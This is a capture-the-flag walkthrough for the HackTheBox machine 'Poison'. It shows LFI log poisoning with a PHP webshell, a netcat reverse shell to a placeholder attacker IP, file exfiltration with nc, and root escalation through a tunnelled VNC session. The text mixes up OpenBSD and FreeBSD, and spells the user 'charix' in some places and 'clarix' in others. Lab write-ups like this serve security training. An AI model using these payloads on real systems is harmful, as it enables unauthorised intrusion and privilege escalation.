A medium OpenBSD box from HackTheBox, get initial access by using a log poisoning attack and then escalate priviliges by exposing a local VNC listener running as root.


Running the usual nmap

sudo nmap -sC -sV -oA nmap/init
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Nothing crazy, just running an apache HTTP server

Navigating to it, see that it runs a script that you input by directly including the path to the script in the URL

Which makes you think of a potential LFI, trying that with /etc/passwd, get a confirmed LFI

Since the box’s name is “Poison”, probably get initial access via a log poisoning attack

Googling for the location of the HTTP access log file location on the OpenBSD version of Apache, see that its in /var/log/httpd-access.log

Trying this location, see the logs


Exploiting from here is as simple as including a php webshell in the request, so that the php code will be executed on this page

Connecting to the box with netcat

nc 80

Send a php webshell by sending a GET request with php code

GET <?php system($_GET['c']); ?>

And then test it out by trying a “cat /etc/passwd” command in the webshell


Can see the contents of the passwd file in the logs, so we have code execution

From here, can get a reverse shell by starting a listener on port 4444, and using the OpenBSD nc reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f

Then URL encode it with

kali> urlencode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f"


And then put it into the webshell to execute it, and get a reverse shell as www

connect to [] from (UNKNOWN) [] 16954
sh: can't access tty; job control turned off
$ whoami

Inspecting the current directory, see an interesting file called “pwdbackup.txt”

$ ls


Print it, and see that its an encoded password, 13 times with base64

$ cat pwdbackup.txt

This password is secure, it's encoded atleast 13 times.. what could go wrong really..


Tossing it into cyberchef, and decoding it 13 times, get a password


Maybe we can privesc to another user with it

cat /etc/passwd


See a “charix” user, this is probably their password, so try to ssh in as them with this password - and get in

kali> ssh charix@


charix@Poison:~ % whoami

Inside charix’s home directory, see a “secret.zip” file (as well as the user.txt flag)

Extract it with netcat, on the local kali machine do

kali> nc -lnvp 9001 > secret.zip

Then on the victims box do

charix@Poison:~ % nc KALI_IP 9001 < secret.zip

Wait a little while, then CTRL+C out of the netcat listner, and try to unzip the file

kali> unzip secret.zip

It asks for a password, give it charix’s password, and it works and unzips

Its a bit of garbage file, not ascii printable

kali> cat secret

Going back to the ssh session, see what else is running on the box with

charix@Poison:~ % netstat -an -p tcp

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0        CLOSE_WAIT
tcp4       0      0       ESTABLISHED
tcp4       0      0        CLOSE_WAIT
tcp4       0      0       CLOSE_WAIT
tcp4       0     44       ESTABLISHED
tcp4       0      0        CLOSE_WAIT
tcp4       0      0       CLOSE_WAIT
tcp4       0      0        CLOSE_WAIT
tcp4       0      0       CLOSE_WAIT
tcp4       0      0           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0         *.*                    LISTEN
tcp4       0      0         *.*                    LISTEN

See there are listeners on 5801 and 5901, ports used for VNC

Double checking with “ps”

charix@Poison:~ % ps -auwwx

root   529   0.0  0.9  23620  8872 v0- I    14:53     0:00.04 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

Which shows VNC running as root, and from the “-rfbport 5901” section of the command, can tell that its running on port 5901 - as its running as root, can try and privesc using it

Since VNC is a GUI application, doesn’t make sense to connect from the victim machine, and need to create a tunnel to expose the service to the kali machine

Lets use a ssh proxy, adding this line to the bottom of /etc/proxychains4.conf

socks4 10000

Then create the ssh tunnel

ssh clarix@ -D 10000

And sign in as clarix

Then in another terminal session, run the proxychains command with vncviewer

kali> proxychains vncviewer

But the authentication fails, maybe we need to pass the “secret” file in as a password?

kali> proxychains vncviewer -passwd secret

And get in with a terminal session open on the desktop as root!